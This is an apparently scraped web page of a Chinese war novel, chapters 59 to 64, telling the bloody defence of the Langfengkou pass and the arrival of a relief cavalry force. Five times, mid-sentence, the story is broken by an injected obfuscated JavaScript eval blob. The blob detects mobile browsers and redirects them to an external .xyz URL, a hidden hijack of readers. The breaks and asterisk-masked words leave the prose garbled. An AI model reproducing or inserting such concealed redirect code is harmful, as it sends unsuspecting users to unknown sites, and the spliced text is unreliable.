“将军周军为何士气如此高昂?莫非是援军到了?”孛罗不解地问道。 霍元青嘴角勾起一抹冷笑“哪有什么援军不过是走投无路之下准备做困兽之斗罢了!” 他很清楚周人的骨子里是骄傲的只不过近百年来这种骄傲已经被四**敌的马蹄踏碎。 就在这时霍元青朗声喊道:“勇士们今夜之后狼烽口注定要易主!杀进去战功、女人、银子都是你们的!” “你们若活下来将享尽荣华富贵子孙后代衣食无忧!你们若战死你们的名字都将被铭刻在功勋碑上你们的部落将因为你们而被可汗奖赏整个草原都将视你们为英雄!” “喝喝喝……” 霎时间狼烽口外的峡谷之中响起震天呼喊声所有胡羯士兵的眼神之中写满了狂热脑海中只有一个狂热的念头——踏平狼烽口! “唰……” 霍元青猛然拔出战刀指向千疮百孔的狼烽口大喝一声: “杀!” “冲啊!” 震天喊杀声响起三支步兵队伍直接发起冲锋。 数百精兵顶着盾牌抬着云梯直奔城墙数十名士兵宛如蚂蚁一般推动高如碉楼的攻城战车缓缓逼近。 与此同时城门方向的士兵也动了他们事先准备了大量石块和泥土倾入城门口的土坑之中试图将其填平供撞门车抵达城门跟前。 狼烽口城墙之上剑戟肃杀、狼牙高悬。 三百士卒神色决然已怀必死之心。 看着城下密密麻麻的敌军所有人的眼神中看不到半点恐惧只有无尽杀意。 “放箭!” 陈暻垚一声令下百余支箭矢如雨点一般倾泻而下。 陈暻垚将弓箭手分成两批第一批射完无论是否命中目标立马后退装箭而站在后方的第二批立马上前放箭以此往复便可补齐装箭的空档不给敌人喘息之机。 这是他在兵书上看来的可事实证明此举确实有效只可惜如今城墙之上的箭矢已经所剩不多了均分下来每人不到一百支箭。 听起来似乎不少但这种情况下普通箭矢的杀伤力十分有限而且夜间作战落空的几率也很大。 “火油!” 陈暻垚的命令再次传来 顷刻间数十上百个装满火油的瓦罐从天而降摔在地上之后火油四处溅射。 紧接着一支支火箭射了下来瞬间将火油点燃。 “轰……” 刹那间城下直接化为一片火海不少胡羯士兵当场被火焰吞没在火海中挣扎翻滚惨叫连连。 此举不仅能减缓敌军的攻势城墙上的守军还可以根据火势看清对方的位置精准放箭。 不得已胡羯士兵只能暂时撤退等待火势熄灭。 后方端坐于马背上的霍元青神色平静如水看不到半点慌乱因为他料定狼烽口虽险但受地势影响关内能存放的各种物资也必然有限。 历经这两日大战无论是火油还是箭矢估计都消耗得所剩不多。 “投石车准备今天就算是把狼烽口轰平也要攻下来!”霍元青冷冷下达了命令。 五架投石车立马就运转了起来硕大的石头被抛向狼烽口。 尽管陈暻垚早已准备了足够的木幔跟竹幔可面对这种猛攻还是毫无办法。 “砰……” 巨石砸在城墙之上有的则是飞入城中一声声巨响宛如闷雷一般让所有守军的心神也跟着颤抖。 很快地上的火油便燃烧殆尽只有浓浓的黑烟在翻滚。 胡羯士兵再一次发起了冲锋而且攻势比之前更猛。 “冲!” 跟前两日不同的是之前只要步兵开始冲锋投石车便会停下来以免伤到自己人。 可这一次投石车丝毫没有停止的意思依旧不断舞动长臂将一块块巨石抛向城楼。 这固然是压制了城楼之上的守军让他们无法用弓箭乃至滚石檑木阻挡下方的敌军但投石车并非每次都能将巨石抛到城墙上乃至城内不少较重的巨石都砸在了城外或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947975|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是砸在城墙的墙壁上滚落下来。 这无疑会对己方步兵造成不小伤亡。 “啊……” 城墙之下一声声惨叫传来甚至很多步兵连惨叫都来不及发出当场被砸成肉泥。 不少胡羯步兵还在庆幸这一次城墙之上并没有反击他们轻松便冲到了城墙下然而就在他们准备架起云梯的时候几块巨石砸在头顶上方的城墙上随后顺势滚落下来 “将军投石车该停了!” 一名副将见状连忙提醒道。 可霍元青却丝毫没有下令的意思另一名副将也满脸焦急地开口道:“将 军,这样下去,咱们自己人也会被投石车砸死的!” “别紧张,死不完!”霍元青冷声吐出几个字,眼神之中满是漠然。 只见他冷笑一声,说道:“用两千精兵换狼烽口,怎么算都是值得的!” 这些年,胡羯折损在狼烽口的兵马,没有一万也有八千了,就前不久,巴查尔的一千多兵马便是在这里覆灭,若是继续往前推,这样的例子更是比比皆是。 如果自己用两千步卒的性命为代价拿下狼烽口,怎么看都是赚了。 就在这时,霍元青注意到,很多已经冲到城墙下的步兵为躲避飞石,竟然开始撤退,这让他顿时一怒。 “督战队压上去,谁敢后退,杀无赦!” 很快,一支百人骑兵策马上前,纷纷举起弓箭,只要有人后退,便果断放箭将其射杀。 “往前冲,是勇士!往后退,是逃兵!” 霍元青厉声大吼,加之督战队成员一个个手持弓箭将他们瞄准,那些往后退的士兵被当场射杀。 攻城步卒虽心生绝望,但也只能硬着头皮往前冲,他们心里很清楚往后退必死无疑,而且,自己的家人都极有可能被牵连。 他们只能往前冲或许还有一线生机,即便是战死,家人也将得到优待。 “冲上去!” 别无选择的他们只能架起云梯,不要命地往上爬。 第60章 粮尽,无援,城将破! 城墙之上,一众守军被飞石压制得不敢冒头,可眼看敌人就要冲上来,几名守军也顾不得呼啸而来的飞石,起身冲到柱子跟前解开锁链,放下狼牙拍。 刹那间,下方传来阵阵惨叫,不少爬到半空的敌人直接被狼牙拍上的刺穿,其他人也都被砸得摔了下去。 就在这时,又一轮飞石破空而来,陈暻垚见状,大喊道:“闪开!” 可惜,已经晚了,那几名士兵当场被巨石砸死,更有甚者,当场被压成肉泥。 城墙的步道早已被鲜血染红了好几遍,可这一抹鲜红依旧是那么刺眼。 很多原本躲在木幔或者城墙角落的士兵见到这一幕,顿时双目血红,杀意澎湃。 “杀!” 一声声大吼在城墙上炸响,紧接着,一根根檑木被抛了下去,一块块滚石滚落而下。 哪怕明知一冒头,就有可能被飞石砸死,但他们丝毫不惧。 正如此前所言的那般,这几日杀了数倍于他们的胡贼,早就够本了,临死前多杀一人就是赚。 原本,胡羯步兵已经看到了希望,却被城墙上的周军硬生生给打退,止住了这一波攻势。 城外,霍元青平静的目光中闪过一抹惊愕,喃喃道:“已经许多年不曾见过这般硬骨头了,只可惜,你们守不住狼烽口,也救不了大周!” 随即,他又大喝一声:“继续进攻,不要给他们喘息的机会!” 尽管他没有下令让投石车停下,可负责投石车的那名副将也不是傻子,他让手下士兵,挑一些较轻的石头,这样,便可以确保大部分石头能够落在城墙上,或是直接砸入城内,避免伤到己方士兵。 就这样,又进行了几番攻击,但,都被打退回来。 连番激战,狼烽口的守军也付出了极为惨烈的代价,数十人惨死在飞石之下,很多同袍更是尸骨无存。 受伤者更是多达百人,其中大部分都彻底失去了战斗力,眼下,可战之兵不到两百人。 最主要的是,城墙上的箭矢、火油、檑木都已经用尽,就连滚石,也只能拣对方投石车砸过来的用。 “杀……” 下方,再一次传来喊杀声,陈暻垚的眼神中闪过一抹绝望。 矢尽,粮绝,无援,城将破! 或许是发现,他们已经没有箭矢檑木可用,城外的投石车也终于停了。 十余架云梯再次架到了城墙之上,数百胡羯士兵宛如蚂蚁一般,口咬弯刀,手脚并用蚁附而上。 与此同时, 几架攻城车也已经无限逼近城墙,一条条跳板被放下来,搭在城墙之上。 “杀!” 攻城车上碉楼之中的胡羯精兵率先杀出,踏着跳板直奔城墙而去。 “兄弟们,杀光这群狗杂碎!”伍兴邦大吼一声,率领一支队伍便迎了上去。 哪怕是这个时候,他们也保持着阵型,因为他们很清楚这种阵型在近身战斗中有多恐怖。 其他几架战车也同样遭到了守军的堵截,双方发生惨烈厮杀。 然而,几番激战下来,战车踏板上的那些精兵非但没能突破对方的堵截杀到城墙上,反而是被尽数截杀于跳板之上。 这一现象,不仅让那些胡羯士兵心生胆寒,就算是城外的一众将领,也都一脸错愕。 在他们的印象中,周军都是不堪一击的土鸡瓦狗,之前依靠城墙天堑予以反击倒也在情理之中,可如今,近身搏杀依旧有如此战力,且彼此间配合默契,秩序有条不紊,五人小阵堪称是攻守兼备密不透风。 这哪里还是他们所熟知的周军? “秃满,孛罗!”霍元青对着身后喊了一声。 二人上前一步,抱拳道:“在!” “该你们上场了,让周军见识一下草原勇士的雄风!” “遵命!”二人答应了一声,径直朝着城墙冲去。 二人身上的铁甲泛起道道寒光,宛如两头猛兽朝着城墙奔来。 此时,那一架架云梯之上爬满了胡羯士兵,所有人悍不畏死次冲上去。 城墙之上,所有人手持战刀,与冲上来的敌军厮杀在一起。 一名胡羯士刚爬上城墙边缘,一杆**便迎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947976|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面刺来,直接贯穿了他的咽喉。 那人满脸的不甘与恐惧,仰面摔下城墙,可紧接着,第二人也冲了上来,这名守军再次一**出,却被对方夺过,并一把将其**抓住。 “死……” 就在这时,一声冷喝传来,只见一道寒芒猛然劈下,直接将那名胡羯士兵的脸劈成两半。 鲜血迸射而出,那张脸瞬间变得血肉模糊,随即抓住枪杆的手也无力松开,摔倒下去。 这名士兵扭头一看,惊呼道:“校尉大人!” 可就在此时,一把弯刀朝着他劈了过来。 “小心!”陈暻垚一把将他推开,随即一刀刺出,将第三名胡羯士兵杀死。 这样的场景,不过是城墙之上微不足道的一角,随着源源不断的胡羯士兵冲上来,城墙之上一片混乱。 并不是所有人都能与同伴之间组成五行锥阵,而且,一旦遇到前后夹击的情况,五行锥阵的短板就彻底暴露出来,轻则战阵瓦解,重则五人皆死。 不仅是云梯上有源源不断的敌人冲上来,不少敌军还爬到碉楼之上,试图通过跳板杀上城墙。 厮杀声笼罩整个狼烽口,惨叫声在峡谷中回荡。 一名大周士兵斩杀了两名敌军之后,被第三名敌军一刀刺中胸口,鲜血喷涌而出。 “**!”那名守军咬牙喝道,随即,他竟然奋力一跃,抱着那名敌人一起坠落下去。 “砰……” 二人重重砸在城墙根脚,混杂血水的淤泥溅了一身,看着已经身下那名胡羯士兵口鼻溢血,他喃喃说道: “老子……又赚了一个!” 另一名士兵一刀斩杀了一名敌军,可他还来不及抽回战刀,一把弯刀便斩落下来,将他握刀的手臂斩断。 “啊……” 断臂之处鲜血如泉涌,那名士兵惨叫一声,可敌人却再次一刀刺向他的胸口。 “噗……” 士兵双眼通红,杀意澎湃。 只见他大吼一声,猛然将敌人撞到用仅剩的一条手臂死死将其保住,紧接着便一口咬破敌人的咽喉…… 第61章 唯死战尔 城门口。 那个深坑已经被填平,一半是土石,一半是尸体,撞门车终于抵达了城门跟前。 “把城门给我轰开!一名副将大声喝道。 其实,那些从云梯和攻城车上杀上城墙的士兵,最终的目的也是打开城门,因为,只有打开城门,那一千骑兵才能充分发挥作用,一举夺下狼烽口。 几十名士兵拉动铁链,巨大的撞木重重撞在城门之上。 “咚…… 伴随着一声巨响,城门剧烈颤动。 虽然城内的甬道早已用巨石堵死,根本不可能将城门撞开,可对方只要将城门撞碎,便可清理那些巨石。 负责镇守城门的是朱骞率领的丙标,之前,为了阻挡对方,箭矢、滚石檑木都已经用完,现在只能眼睁睁看着对方撞击城门。 那二人合抱的巨大撞木每一次撞在城门之上,他的内心也跟着颤动。 “标长,怎么办?一名什长满脸焦急地问道。 朱骞面如死灰,摇头道:“没办法,唯有死战了! “放飞绳!顿时,数十条被绑在城墙上的绳索被抛了下去。 “兄弟们,不怕死的跟我下去杀敌! 朱骞大吼一声,随即双手抓着绳索,顺着城墙快速滑了下去。 “标长,算我一个!紧接着,什长史俊紧随其后。 “杀! 紧接着第三个,第四个,第二十个! 最终,全标除了身受重伤的两人之外,全部抓着飞绳一跃而下。 那两名留下的伤员也有他们的任务,那就是等所有人落地之后,迅速割断绳索,以免敌军顺着绳索爬上来。 但,这也等同于断掉了同袍的唯一退路。 事实上,所有人心里都清楚,当他们决定到城下杀敌的时候,就没想过活着回来。 城门外的胡羯士兵显然也没想到,对方竟然主动放弃优势,出城与他们厮杀。 “列阵!朱骞冷喝一声,丙标仅剩的二十余人迅速列成四座五行锥阵,朝着敌军杀去。 刹那间,双方迅速厮杀在一起,五行锥阵的威力也在这一刻完美展现了出来。 只见四座战阵一字排开,迅速推进,胡羯士兵刚开始并没有意识到有什么不对,直接挥动战刀便杀了上来。 可紧接着,他们便体会到了什么叫做绝望! 前方的盾牌手将它们的弯刀尽数当下,紧跟在盾牌手身后**兵立马出手,冰冷的**宛如毒蛇的信子迎面刺来, 当场便将数名胡羯骑兵捅死。 由于箭矢早已用尽,后方的弓箭手也换上了战刀,主要负责维持战阵的推进,遇到没有死透的敌军便立马补刀。 不过片刻之间,便有二十多名胡羯士兵被斩杀,虽然丙标也有两人战死,三人受伤,但这个战损比已经堪称惊人了。 要知道,在以往大周与胡羯交战,周军死伤的人数是胡羯人的五倍,可现在形式竟然调转了过来,让那名胡羯副将简直难以相信。 “围上去,后方是他们的薄弱点! “变阵!朱骞冷静下令,四座战阵立马合在一起,这也是之前凌川让他们重点训练的环节。 很快,五行锥阵形成一个圆阵,盾牌手在外围,**兵紧随其后。 整座战阵虽谈不上密不透风,但却让兵力数倍于他们的敌人无从下手。 “咚,咚,咚…… 城楼上响起了战鼓声,只见一名伤员扶着另一名伤员来到战鼓跟前,用仅剩的一条手臂抓起鼓槌,擂响了战鼓。 “咚,咚,咚…… 随着战鼓擂响,城门前的士兵感觉体内的热血开始燃烧起来,眼神中杀意陡升。 “杀…… 一番惨烈厮杀下来,战阵周围堆满了胡羯人的尸体,丙标这支二十余人的队伍,竟然斩杀了近百名胡羯士兵。 但,自身损失同样惨重,如今,只剩下十余人,而且个个带伤,圆阵已经比之前缩小了一圈。 就在这时,沉重的马蹄声从不远处传来,地面随之震颤,一众胡羯士兵迅速散开。 浑身是血的朱骞抬眼望去,只见一队骑兵策马朝着他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947977|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冲来。 战阵虽然强悍,可他们终究还是步兵,面对骑兵,特别是冲锋的骑兵,完全没有抵挡之力。 “**拒马,刀斩马腿! 朱骞用嘶哑的声音喊道,随即战阵再变,准备迎敌。 面对疾驰而来的骑兵,他们没有退,因为他们早已没有退路,更何况他们也从未想过要退。 刹那间,骑兵便冲至眼前,滚滚浪潮将那十多人淹没。 当骑兵碾压而过,十多名周军早已被马蹄踏碎,深陷于泥土之中。 就在此时,一道身影颤颤巍巍地从淤泥之中爬起来。 那赫然是什长史俊。 此时的他,浑身被淤泥和血 水覆盖,肋骨被马蹄踩断了好几根,一条手臂也被斩断,正在不住淌血。 然而,他却用手中战刀杵地,缓缓站起身来。 “鼓别停!” 史俊冷喝一声,决然的眼神死死盯着敌人。 “咚,咚,咚……” 战鼓再次响起,那支骑兵再次调转马头朝着史俊冲来。 “杀……” 史俊宛如一杆钢枪死死扎在原地,任由对方铁骑迎面冲来,他半步未退。 事实上,他已无力后退,更无路可退! “噗……” 史俊用尽最后一丝力量斩出了那一刀,可惜,他的战刀还未劈中敌人,三支铁箭已经射入他的胸腹,紧接着,一杆**直接将他挑飞。 “咚,咚,咚……” 城墙之上,擂鼓的士兵始终不曾转身,也不知是不知道戊标已经全员战死,亦或是根本不敢回头。 那名扶着他的士兵虽目睹了城下的悲壮一幕,但却没有出声提醒,只有两行热泪滚落而出。 “咚,咚,咚……” 战鼓始终未停,鼓声悲壮而苍凉。 似是在为戊标兄弟们送行! “咚……” “哒哒……”鼓槌脱手飞出,那名擂鼓士兵早已是满脸热泪,失声大喊道: “兄弟们,一路走好!” 第62章 寸土寸血! 城墙之上,厮杀惨烈到了极致,可谓是寸土寸血! 随着云梯和攻城车杀上来的敌人越来越多,狼烽口眼看就要守不住。 相比起云梯,攻城车的威胁明显更大,毕竟,云梯只能一个个爬上来,只要防守得当,对方很难登上城墙。 但,攻城车就不一样了,跳板足以容纳三人通过,而且,跳板另一头的碉楼本就与城墙齐高,对方还可以用弓箭进行压制。 五架攻城车给周军带来了不小的伤亡。 陈暻垚亲自坐镇,耿良的甲标和熊广的乙标血战不退,可终究是寡不敌众,随着冲上来的敌人越来越多,眼看就要失守。 看着身边的兄弟一个个倒下,熊广双目中怒火焚烧,只见他大喝一声:“来几个人,随我杀上去! 随即,他**撑地,一跃来到跳板之上,朝着碉楼反杀回去,身后,几名乙标成员果断登上跳板,跟随标长杀向碉楼。 陈暻垚见状,连忙大喊道:“熊广! 熊广并未回头,只有那道粗犷的声音传来:“校尉大人,容熊广先走一步! 碉楼之中的几名胡羯士兵正准备冲出来,却发现一名魁梧汉子手持**杀了过来,让他们顿时一惊。 几人没有任何犹豫,直接朝着熊广放箭。 此时的熊广避无可避,只能舞动**将射来的铁箭荡开,可还是有一支铁箭插入了他的肩膀。 “够杂碎! 熊广顾不得肩膀传来的疼痛,直接冲进碉楼,一**穿其中一名敌军,紧接着,一拳砸在另一名敌军的面门上,那人惨叫一声,紧接着便发现自己的身体飞了起来。 原来是熊广直接将他从碉楼之上丢了下去。 “砍断跳板!熊广对身后跟上来的两名士兵喊道。 这攻城车十分坚固,想要毁掉并不容易,但只要毁掉跳板,对方短时间内不可能修复,战车对于他们的威胁也将大大降低。 见熊广此计可行,其他人也纷纷效仿,直接冲上跳板,杀向碉楼。 可另外几处就不如熊广他们这般顺利,好几人刚冲到跳板中间,便**羯士兵的弓箭射杀。 “盾牌手先上!伍兴邦大吼一声,让盾牌手先行压上去,**手和刀兵紧随其后。 士兵们纷纷组队冲上跳板,因为他们很清楚,只有这样才能削去碉楼的威胁。 战斗到了这个阶段,双方都在拼命。 敌人源源不断地通过云梯爬上来,宛如从深渊之中爬上来的恶魔。 城墙之上堆满了尸体,鲜血顺着步道往下流。 双方彻底杀红了眼,很多人手中战刀都卷口了,丢掉之后,随地捡起一把,也不管是己方的还是敌军的,拿在手里便继续厮杀。 于胡羯人而言,付出了如此惨重的代价,而且已经看到了胜利的希望,绝不可能放弃。 同样,对于狼烽口的守军来说,他们早已没有退路,唯有死战! 作为校尉的陈暻垚,此时同样是浑身浴血,他身上多处受伤,但却仿佛完全感觉不到疼痛,只是一个劲地挥动战刀劈砍。 忽然,熊广感觉脚下的攻城车剧烈晃动,低头一看,只见一名身披特制铠甲的魁梧男子,宛如一头巨猿,迅速朝着碉楼攀登上来。 来人不是别人,正是孛罗。 熊广顿时一惊,手中**直接朝着那人刺去。 对方似乎早有察觉,单手抓住碉楼的柱子一晃,巧妙避开了这一枪,紧接着,身体一跃来到碉楼之上。 那人竟然比熊广还要高出一个头,身形魁梧宛如一头怪兽,熊广冷喝一声,抬手便是一拳砸向对方,他本就是以力量见长,可这一拳砸在对方胸口的铁甲之上,令碉楼剧烈晃动。 孛罗硬扛熊广一拳,连退三步,后背撞在碉楼柱子上,令碉楼剧烈晃动。 “就这点力量?还不够给爷爷挠痒痒!孛罗一脸嘲讽之色,眼神之中更是写满了不屑,这让熊广怒不可遏。 “啊! 熊广暴喝一声,抡起**直接朝着对方刺去。 孛罗一把抓住枪杆,随即一步跨出,一拳轰在熊广的胸口。 “噗…… 熊广当场喷出一大口鲜血,胸口的皮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947978|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甲更是凹出一个深深的拳印,身体更是倒飞出去。 眼看熊广就要掉落到城下的时候,孛罗将手中**猛然掷出,那**化为一道寒芒直接刺穿熊广的胸口,并带着他的身体,死死钉入城墙之中。 “熊广! 城墙之上的陈暻垚见熊广惨死,连尸体都被人用**钉在城墙上,顿时目眦欲裂。 孛罗站在碉楼上看着他冷笑道:“别急,马上就到你了! “标长! 那两名刚好将跳板砍断,却发现自家标长惨死,顿时大吼一声,挥动战刀便朝着孛罗冲去。 战刀劈在孛罗的铁甲之上,溅起一串火花,却难以伤及分毫。 “蝼蚁而已,也敢在我面前龇牙! 孛罗冷笑一声,伸出一双大手将那两名士兵的脖子捏 住,手指轻轻用力,直接将二人的喉骨捏断。 随即,他双手一松,那两名周军的尸体直接从碉楼上掉了下去,紧接着,他猛然一步踏出。 “砰!” 碉楼一阵剧颤,而孛罗则是直接从碉楼之上一跃而起,宛如一头巨猿扑向城墙。 碉楼距离城墙有足足丈余距离,可孛罗这猛然一跃,却直接扑向城墙。 “受死!” 一声冷喝传来,只见黄琛手持角弓,一箭射向半空的孛罗。 面对这一箭,孛罗避无可避,只能用手中弯刀劈开这一箭,可这也让他无法抓住城垛,径直朝着城墙下掉了下去。 本以为他就要跌落到城下,可孛罗却一脚踏在钉着熊广的**末端,再次跃起,飞上城墙。 “陈暻垚,爷爷来娶你项上人头!”孛罗暴喝一声,直接扑向陈暻垚。 后者怡然不惧,直接迎了上去,手中战刀横扫,直奔孛罗咽喉而去。 孛罗浑身铁甲,一般刀枪难以破开,脖子是少有没被铁甲覆盖的部位,然而,面对这一刀,孛罗不闪不避,他手中弯刀轻轻一挥便挡住了陈暻垚这一刀。 “叮……” 伴随一道交鸣声,两把战刀碰撞出一连串刺目的火花。 第63章 不负圣贤,不负书! 忽然陈暻垚刀锋一转顺势一刀撩起。 这一刀隐蔽而刁钻与刚才那一记横斩完美契合宛如行云流水 面对这一刀孛罗连忙后退可终究还是慢了半步刀锋划在铁甲之上铁甲虽然挡住了这一刀但不少甲片也在这一刀之下碎开哗哗掉落。 孛罗满脸惊骇之色怒声道:“想不到竟有如此实力!” 陈暻垚嘴角浮现出一抹冷笑这里是北疆他不了解自己也正常要是在南疆有谁敢小觑南疆七虎? 就在这时城内传来大片喊杀声这让陈暻垚内心一紧莫非城门已经失守敌军入城了? 虽心有不甘却也无可奈何自己已经尽力了狼烽口所有守军都尽力了。 只是不知道狼烽口的百姓撤到哪儿了。 然而孛罗却抓住这个空档猛然扑向陈暻垚。 “校尉大人小心!”仅剩的两名亲兵直接冲了上去两把战刀斩落却被其肩吞挡下。 “死!”孛罗暴喝一声一拳轰在其中一名亲兵的胸口。 “噗……” 那名亲兵大口咳血倒在城墙上生死不知。 紧接着手中弯刀寒芒一闪将另外一名亲兵枭首。 陈暻垚神色巨变大喝一声抡刀杀了上去。 面对双目血红杀意澎湃的陈暻垚孛罗不敢有半点大意尽管陈暻垚身上带伤可他一身杀意却令人心悸。 “当……” 两人猛然对碰一击随即纷纷后退三步可陈暻垚不等站稳便再一次扑了上去。 数个回合之后陈暻垚一刀刺进孛罗的肩膀而孛罗却是大吼一声一拳轰向陈暻垚的胸口。 二人再次分开孛罗肩膀淌血陈暻垚也不好受只感觉体内气血翻滚一口鲜血涌上喉头憋得陈暻垚面色通红。 孛罗很清楚自己那一拳肯定给陈暻垚造成了内伤再加上他之前连番战斗自身早已是疲惫至极孛罗也顾不得自身的伤势再一次扑向陈暻垚。 “你可以把项上人头交给我了!”孛罗大喝一声再次一刀劈向陈暻垚。 面对这一刀陈暻垚不闪不避似乎已经无力躲避。 就在那一刀即将落下的瞬间陈暻垚猛然一口鲜血喷出。 “噗……” 一口鲜血径直喷在孛罗的脸上他下意识闭眼而就在这千钧一发的瞬间陈暻 垚一个侧身避开了那力劈而下的弯刀。 紧接着,手中战刀向上刺出,直接穿透了孛罗的咽喉。 “嗤……” 一抹鲜血喷射而出,孛罗的身体为之一顿,眼神之中写满了不甘与痛苦。 “哐当……” 随着他手中金狼刀掉落在地,孛罗那巨大的身体也直挺挺地倒在地上。 解决掉这位胡羯猛将,陈暻垚已是筋疲力尽,连握刀的手都在不住颤抖。 就在这时,城内的喊杀声已经冲上了两边的步道,他知道,敌人已经杀上来了。 陈暻垚用最后一点力气,缓缓举起手中的战刀,放在自己的脖子上。 “我陈暻垚,不负圣贤,不负书!不负铠甲,不负刀!” “校尉大人,我们来帮你们了!” “杀啊,杀光这些狗杂碎!” 就在陈暻垚准备了解自己性命的时候,耳边忽然传来一道道熟悉的声音,睁眼看去,只见大批老百姓从城墙两端冲了上来。 他们有的手持农具,有的则是捡起地上带血的战刀,大吼着冲上来。 见到这一幕,陈暻垚内心猛然一惊,他没想到这些老百姓竟然没有撤离,难道他们不知道,留下来就意味着要死在胡羯人的屠刀之下吗? 可担忧之余,内心也涌现出浓浓的感动。 他们用生命守护的老百姓,在生死存亡之际并未舍弃他们去逃难,而是舍命前来帮他们杀敌。 这一刻,不光是陈暻垚,所有守军都觉得,哪怕是死,也值了! 随着大批老百姓加入,原本即将崩溃的防线再一次稳定了下来,虽说这些都只是平民百姓,战力和经验都无法和边军相比,但,在愤怒与仇恨的加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947979|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 持下,一个个依旧是悍不畏死,最主要的是,他们乃是一股‘生力军’。 这些老百姓只要看到胡羯士兵,便直接冲上去一顿乱棍招呼,一些青壮年更是两三个人抬起石头往城墙下砸去,一时间,胡羯人惨叫连连,损失惨重。 胡羯人眼看就要占领城墙,却因为这群老百姓的加入,就要再次将己方的进攻打退,霍元青顿时大喝道: “给我顶住,不过是一群刀都拿不稳的贱民,怕什么?” “告诉秃满,去把陈暻垚的脑袋给我摘来!”霍元青很清楚,只要杀了陈暻垚,周军的最后一口气也就被打散了,这场战斗也就不再有任何悬念。 随着这些老百姓的加入,陈暻垚似乎也看到了一丝胜利的希望,挣扎着站起身来,指挥大家进行反击。 就在这时,他看到原本应该护送苏璃与一众百姓离开是余生。 “余生,我不是让你护送大家撤离吗?”陈暻垚来到余生身边,大声问道。 余生一脸苦涩,说道:“校尉大人,他们谁也不肯走,我劝不动啊!” “陈校尉,你就别怪他了,是我们自己要来的,你们守护我们这么多年,也是时候让我们出一份力了!”一名汉子大声说道。 “是啊校尉大人,狼烽口是我们的家,若狼烽口失守,我们又能逃到哪儿去?”另一名缺了门牙的老者说道。 “校尉大人,我们虽然不是军人,可也要让这些**知道,大周男儿的血性!” 一声声大喊自耳边传来,这些平日里在地里耕种的老百姓,一个个豪气冲天,满脸决然。 至于那些妇女老幼,则是往城墙上搬运物资,除了滚石檑木,很多人把家里点灯的火油都拿了出来,用以御敌。 陈暻垚双眼湿润,内心更是五味杂陈。 若大周边军皆如此,若大周百姓皆如此,何惧四**敌? “呜呜……” 就在这时,城下再次响起了低沉的号角声。 显然,胡羯人又要发起冲锋了。 第64章 奔袭六百里! 鲜血染红了狼烽口。 此时,城墙之上还剩下守军不到一百,虽然有百姓加入,但他们的战力完全无法跟战兵相比,甚至连铠甲都没有,留在这里,除了徒增伤亡,起不到任何作用。 “校尉大人,你快看! 忽然,余生指着远处,大叫一声。 陈暻垚抬眼望去,只见十里之外的胡羯大营火光冲天。 “那是胡羯的军营,怎么会起火了?浑身浴血的耿良也凑上前来,满脸震惊地问道。 陈暻垚摇了摇头,他也不知道怎么回事,忽然,他脑海中冒出一个念头:“莫非…… 数里之外,一支千人骑兵狂奔而来,领头的少年腰悬战刀,手持**,冷毅的眼神死死盯着前方。 身后,一名壮汉肩扛一根两丈长的木杆,顶端悬挂着一块白幡,白幡之上,是用鲜血写下的一个‘死’字,在寒风中猎猎作响。 再往后是聂星寒,以及唐岿然、洛青云等十位标长,一个个手提**,眼神之中杀意无限。 一天两夜,奔袭六百里,凌川带着一千死字营成员,终于赶到了。 尽管此时他们已经是人困马乏,但却不敢停歇,因为,战斗才刚刚开始。 “大牛,记得我跟你说的话吗?凌川冷漠的声音传来。 